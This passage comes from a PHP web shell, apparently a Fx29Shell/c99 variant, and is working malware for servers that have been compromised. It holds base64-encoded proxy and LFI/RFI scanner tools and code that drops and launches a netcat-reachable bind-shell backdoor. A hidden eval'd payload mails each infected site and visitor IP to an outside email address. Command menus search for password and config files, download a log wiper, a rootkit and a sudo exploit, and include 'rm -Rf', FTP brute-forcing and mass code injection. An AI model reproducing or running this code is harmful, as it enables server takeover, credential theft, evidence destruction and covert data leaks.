T1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=
";

$fi="
IyEvdXNyL2Jpbi9wZXJsIC13IA0KDQp1c2Ugc3RyaWN0OyANCnVzZSBGaWxlOjpGaW5kOyANCnVzZSBDd2Q7IA0KDQpteSAkc3Rkb3V0Q2hlY2sgPSAwOyANCm15ICRwcm9ncmFtSW5mbyA9IA0KJyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KIyAgTG9jYWwgTEZJL1JGSSBTY2FubmVyIGJ5IFJvbW5vdXMgICAgICAgICAgICAgICMgDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyANCiMgIFdpbGwgc2NhbiBsb2NhbCBQSFAgZmlsZXMgaW4gZGlyZWN0b3J5ICAgICAgICAjIA0KIyAgcGFzc2VkIGluIHRoZSBmaXJzdCBhcmd1bWVudCB0byB0aGUgc2NyaXB0ICAgICMgDQojICBmb3IgcG9zc2libGUgTEZJL1JGSSB2dWxuZXJhYmlsaXRpZXMuICAgICAgICAgIyANCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIA0KJzsgDQoNCnByaW50ICRwcm9ncmFtSW5mbzsgDQoNCm15ICRwcm9ncmFtVXNhZ2UgPSANCicgDQpVc2FnZTogJyAuICQwIC4gJyBESVJOQU1FICgtdyBmaWxlKSANClVzZSBgLXcgZmlsZWAgYXQgdGhlIGVuZCB0byB3cml0ZSB0byBgZmlsZWAgDQonOyANCg0KbXkgJHNlYXJjaERpcmVjdG9yeSA9ICRBUkdWWzBdOyANCg0KdW5sZXNzICgkc2VhcmNoRGlyZWN0b3J5KSANCnsgDQogIHByaW50ICRwcm9ncmFtVXNhZ2UgYW5kIGRpZSgiXG4iKTsgDQp9IA0KDQpteSAkY3VycmVudERpcmVjdG9yeSA9IGdldGN3ZCAoKTsgDQoNCm91ciAkZGlyZWN0b3J5Q291bnQgPSAwOyANCm91ciAkZmlsZUNvdW50ID0gMDsgDQpvdXIgJHZ1bG5lcmFiaWxpdHlDb3VudCA9IDA7IA0KDQppZiAoJEFSR1ZbMV0gZXEgJy13JykgDQp7IA0KICAkc3Rkb3V0Q2hlY2sgPSAxOyANCiAgb3BlbiAoU1RET1VULCAnPicgLiAkQVJHVlsyXSk7IA0KfSANCg0KZmluZCAoXCZwcm9jZXNzT2JqZWN0LCAiJGN1cnJlbnREaXJlY3RvcnkvJHNlYXJjaERpcmVjdG9yeSIpOyANCg0KJHN0ZG91dENoZWNrID09IDEgPyAocHJpbnQgJ0ZpbmlzaGVkIScgLiAiXG4iKSA6IChwcmludCAiXDAzM1sxbSIgLiAnRmluaXNoZWQhJyAuICJcMDMzWzBtXG4iKTsgDQpwcmludCAnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nIC4gIlxuIjsgDQpwcmludCAnRGlyZWN0b3JpZXMgc2Nhbm5lZDogJyAuICRkaXJlY3RvcnlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0ZpbGVzIHNjYW5uZWQ6ICcgLiAkZmlsZUNvdW50IC4gIlxuIjsgDQpwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0aWVzOiAnIC4gJHZ1bG5lcmFiaWxpdHlDb3VudCAuICJcbiI7IA0KcHJpbnQgJ0V4ZWN1dGlvbiB0aW1lOiAnIC4gKHRpbWUgLSAkXlQpIC4gJyBzZWNvbmQocykuJyAuICJcblxuIjsgDQoNCmlmICgkc3Rkb3V0Q2hlY2spIA0KeyANCiAgY2xvc2UgKFNURE9VVCk7IA0KfSANCg0Kc3ViIHByb2Nlc3NPYmplY3QgDQp7IA0KDQogIGlmICgtZiAkRmlsZTo6RmluZDo6bmFtZSBhbmQgJEZpbGU6OkZpbmQ6Om5hbWUgPX4gbS9cLihwaHRtbHxwaHB8cGhwM3xwaHA0KSQvKSANCiAgeyANCiAgICAkZmlsZUNvdW50Kys7IA0KICAgIG9wZW4gKHBocEZpbGUsICRGaWxlOjpGaW5kOjpuYW1lKSBvciByZXR1cm4gJ1VuYWJsZSB0byBvcGVuIGZpbGUgIicgLiAkRmlsZTo6RmluZDo6bmFtZSAuICciLCBjaGVjayBwZXJtaXNzaW9ucz8nIC4gIlxuIjsgDQogICAgbXkgQGZpbGVTdHJpbmdzID0gPHBocEZpbGU+OyANCiAgICBjbG9zZShwaHBGaWxlKTsgDQogICAgbXkgJHRvdGFsTGluZXMgPSAkI2ZpbGVTdHJpbmdzOyANCiAgICBmb3IgKG15ICRzdHJpbmdDb3VudCA9IDA7ICRzdHJpbmdDb3VudCA8PSAkdG90YWxMaW5lczsgJHN0cmluZ0NvdW50KyspIA0KICAgIHsgDQogICAgICBpZiAoJGZpbGVTdHJpbmdzWyRzdHJpbmdDb3VudF0gPX4gbS8oKD86aW5jbHVkZXxyZXF1aXJlKSg/Ol9vbmNlKT9ccypcKC4qP1wkLio/XCk7KS9naSkgDQogICAgICB7IA0KICAgICAgICAkdnVsbmVyYWJpbGl0eUNvdW50Kys7IA0KICAgICAgICAkc3Rkb3V0Q2hlY2sgPT0gMSA/IChwcmludCAnUG9zc2libGUgdnVsbmVyYWJpbGl0eSBpbiAiJyAuICRGaWxlOjpGaW5kOjpuYW1lIC4gJyIgb24gbGluZSAnIC4gKCRzdHJpbmdDb3VudCArIDEpIC4gJzonIC4gIlxuIikgDQogICAgICAgIDogKHByaW50ICJcMDMzWzFtIiAuICdQb3NzaWJsZSB2dWxuZXJhYmlsaXR5IGluICInIC4gJEZpbGU6OkZpbmQ6Om5hbWUgLiAnIiBvbiBsaW5lICcgLiAoJHN0cmluZ0NvdW50ICsgMSkgLiAnOicgLiAiLlwwMzNbMG1cbiIpOyANCiAgICAgICAgcHJpbnQgIlx0IiAuICQxIC4gIlxuXG4iOyANCiAgICAgIH0gDQogICAgfSANCiAgfSANCiAgaWYgKC1kICRGaWxlOjpGaW5kOjpuYW1lKSANCiAgeyANCiAgICAkZGlyZWN0b3J5Q291bnQrKzsgDQogIH0gDQp9
";

function cf($fname,$text) {
  $w_file=@fopen($fname,"w") or err();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}

function cfb($fname,$text) {
  $w_file=@fopen($fname,"w") or bberr();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}
function err() { $_POST[\'backcconnmsge\']="<br><br><div class=fxerrmsg>Error:</div> Can\'t connect!"; }
function bberr() { $_POST[\'backcconnmsge\']="<br><br><div class=fxerrmsg>Error:</div> Can\'t backdoor host!"; }

if (!empty($_POST[\'backconnectport\']) && ($_POST[\'use\']=="shbd")) {
  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  $por = $_POST[\'backconnectport\'];
  if (is_writable(".")) {
    cfb("shbd",$backdoor);
    ex("chmod 777 shbd");
    $cmd = "./shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  } else {
    cfb("/tmp/shbd",$backdoor);
    ex("chmod 777 /tmp/shbd");
    $cmd = "./tmp/shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  }
  if (eregi("./shbd $por",$scan)) {
    $data = ("
<br>Backdoor setup successfully.");
  } else {
    $data = ("
<br>Process not found, backdoor setup failed!");
  }
  $_POST[\'backcconnmsg\']="To connect, use netcat! Usage: <b>\'nc $ip $por\'</b>.$data";
}


@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
  function getmicrotime() {
    list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  }
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJzcGlkZXIucjBvdEBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
  if (!function_exists("strips")) {
    function strips(&$arr,$k="") {
      if (is_array($arr)) {
        foreach($arr as $k=>$v) {
          if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
        }
      } else {$arr = stripslashes($arr);}
    }
  }
  strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE; 
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\\") as $needle) {
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr; 
}
$surl = htmlspecialchars($surl);

$ftypes  = array(
    "html"=>array("html","htm","shtml"),
    "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
    "exe"=>array("sh","install","bat","cmd"),
    "ini"=>array("ini","inf","conf"),
    "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
    "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
    "sdb"=>array("sdb"),
    "phpsess"=>array("sess"),
    "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes  = array(
    getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
    "perl %f%" => array("pl","cgi")
);
$regxp_highlight  = array(
    array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
    array("\.tgz$",1,"<font color=#C082FF>","</font>"),
    array("\.gz$",1,"<font color=#C082FF>","</font>"),
    array("\.tar$",1,"<font color=#C082FF>","</font>"),
    array("\.bz2$",1,"<font color=#C082FF>","</font>"),
    array("\.zip$",1,"<font color=#C082FF>","</font>"),
    array("\.rar$",1,"<font color=#C082FF>","</font>"),
    array("\.php$",1,"<font color=#00FF00>","</font>"),
    array("\.php3$",1,"<font color=#00FF00>","</font>"),
    array("\.php4$",1,"<font color=#00FF00>","</font>"),
    array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
    array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
    array("\.ico$",1,"<font color=#00FFFF>","</font>"),
    array("\.gif$",1,"<font color=#00FFFF>","</font>"),
    array("\.png$",1,"<font color=#00FFFF>","</font>"),
    array("\.htm$",1,"<font color=#00CCFF>","</font>"),
    array("\.html$",1,"<font color=#00CCFF>","</font>"),
    array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
if (!$win) {
  $cmdaliases = array(
    array("", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find config* files", "find / -type f -name \"config*\""),
    array("Find config* files in current dir", "find . -type f -name \"config*\""),
    array("Find all writable folders and files", "find / -perm -2 -ls"),
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("Find all writable folders", "find / -type d -perm -2 -ls"),
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
    array("Find all service.pwd files", "find / -type f -name service.pwd"),
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("Find all .bash_history files", "find / -type f -name .bash_history"),
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("List file attributes on a Linux second extended file system", "lsattr -va"),
    array("Show opened ports", "netstat -an | grep -i listen")
  );
  $cmdaliases2 = array(
    array("-----",""),
    array("Logged in users","w"),
    array("Last to connect","lastlog"),
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
    array("CPU Info","cat /proc/version /proc/cpuinfo"),
    array("Is gcc installed ?","locate gcc"),
    array("Format box (DANGEROUS)","rm -Rf"),
    array("-----",""),
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
    array("Run WIPELOGS PT3","./zap2"),
    array("-----",""),
    array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  );
}
else {
  $cmdaliases = array(
    array("", "dir"),
    array("Find index.php in current dir", "dir /s /w /b index.php"),
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
    array("Find r57shell in current dir", "find /c \"r57\" *"),
    array("Show active connections", "netstat -an"),
    array("Show running services", "net start"),
    array("User accounts", "net user"),
    array("Show computers", "net view"),
    );
}
$phpfsaliases = array(
    array("Read File", "read"),
    array("Write File (PHP5)", "write"),
    array("Copy", "copy"),
    array("Rename/Move", "rename"),
    array("Delete", "delete"),
    array("Make Dir","mkdir"),
    array("-----", ""),
    array("Download", "download"),
    array("Download (Binary Safe)", "downloadbin"),
    array("Change Perm (0755)", "chmod"),
    array("Find Writable Dir", "fwritabledir"),
    array("Find Pathname Pattern", "glob"),
);

$quicklaunch1 = array(
	array("[Home]",$surl."=img&img=home"),
    array("[Enumerate]",$enumerate),
	array("[Search]",$surl."x=search"),
    array("[Self-Kill]",$surl."x=selfremove"),
    array("[About]",$surl."x=about")
);
$quicklaunch2 = array(
	array("[FTP Buteforcer]",$surl."x=ftpquickbrute"),
    array("[Security Info]",$surl."x=security&d=%d"),
    array("[Processes]",$surl."x=processes&d=%d"),
    array("[MySQL]",$surl."x=sql&d=%d"),
    array("[PHP-Code]",$surl."x=eval&d=%d"),
    array("[Encoder]",$surl."x=encoder&d=%d"),
	array("[Backdoor]",$surl."x=shbd")
);
$quicklaunch3 = array(
	array("[PHP-Tools]",$surl."x=phptools"),
	array("[Cpanel Finder]",$surl."x=cpanel"),
	array("[Install PHP Proxy]",$surl."x=phpproxy"),
	array("[Install RFI/LFI Scanner]",$surl."x=fi"),

	array("[Mass Code Injection]",$surl."x=massbrowsersploit")
);


$highlight_background = "#000000";
$highlight_bg = "white";
$highlight_comment = "#00FF00";
$highlight_default = "orange";
$highlight_html = "lightblue";
$highlight_keyword = "lime";
$highlight_string = "red";

@$f = $_REQUEST["f"];
@extract($_REQUEST["capriv8cook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
    header("HTTP/1.0 401 Unauthorized");
    exit($accessdeniedmess);
  }
}
if ($x != "img") {
  $lastdir = realpath(".");
  chdir($curdir);
  if ($selfwrite) {
    @ob_clean();
    capriv8_getupdate($selfwrite,1);
    exit;
  }
  $sess_data = unserialize($_COOKIE["$sess_cookie"]);
